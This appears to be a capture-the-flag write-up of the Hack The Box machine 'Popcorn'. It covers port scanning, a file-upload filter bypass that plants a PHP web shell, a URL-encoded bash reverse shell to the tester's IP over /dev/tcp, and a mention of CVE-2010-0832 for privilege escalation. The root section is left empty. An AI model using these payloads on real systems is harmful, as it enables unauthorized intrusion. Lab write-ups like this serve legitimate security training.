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# HTB - Popcorn
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.12
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
Browsing to port 80 reveals the domain name add it to the hosts file.
Once added refresh the browser to access the application.
Nothing interesting on the page just the info that the web server software is running and no content is added to it.
Directory enumeration revealed a `test.ph`p file.
the php file reveals the php version
Accessing /torrent directory reveals a login page.
To access any feature on the website we need to login.
That said i will create a user and see what i can do from there.
one weird thing here is the password is displayed plainly in welcome message after successful registration.
Use the creds to login to the utorrent
There is an upload feature and there is a script that retrieves the data we upload.
I need to upload a torrent file and the script pulls data from it.
lets create a torrent file.
```bash
┌──(ajay㉿kali)-[~]
└─$ echo "test" > test.txt
──(ajay㉿kali)-[~]
└─$ mktorrent -a udp://tracker.opentrackr.org:1337/announce -o shell.torrent test.txt
mktorrent 1.1 (c) 2007, 2009 Emil Renner Berthing
Hashed 1 of 1 pieces.
Writing metainfo file... done.
```
upload the file
and it worked and there is an option to edit the uploaded torrent where we can try to upload a screenshot that said i will try to upload a image file with php in it.
uploading a php file results in invalid file most probably there is a filter in place
changing the content type to PNG format it succeeded in uploading.
The file is stored using the torrent's SHA1 ID. Based on the request the file is saved as
```
7de795fe731a31b2242e750d34974381ac2d53d8.php
```
there is an upload directory where the uploaded file is stored at.
Accessing the uploaded shell confirms the access.
That said i will use it to get shell access.
```bash
?c=bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.52/4444+0%3E%261%27
```
## Shell as www-data
next upgrade the shell
```bash
www-data@popcorn:/var/www/torrent/upload$ python -c 'import pty; pty.spawn("/bin/bash")'
the file `motd.legal-displayed` is interesting here because we dont often see that file.
a google search revealed a privilege escalation method using the Ubuntu's PAM module
it is vulnerable to `CVE-2010-0832.`
Found this poc
{% embed url="" %}
## Shell as Root
---
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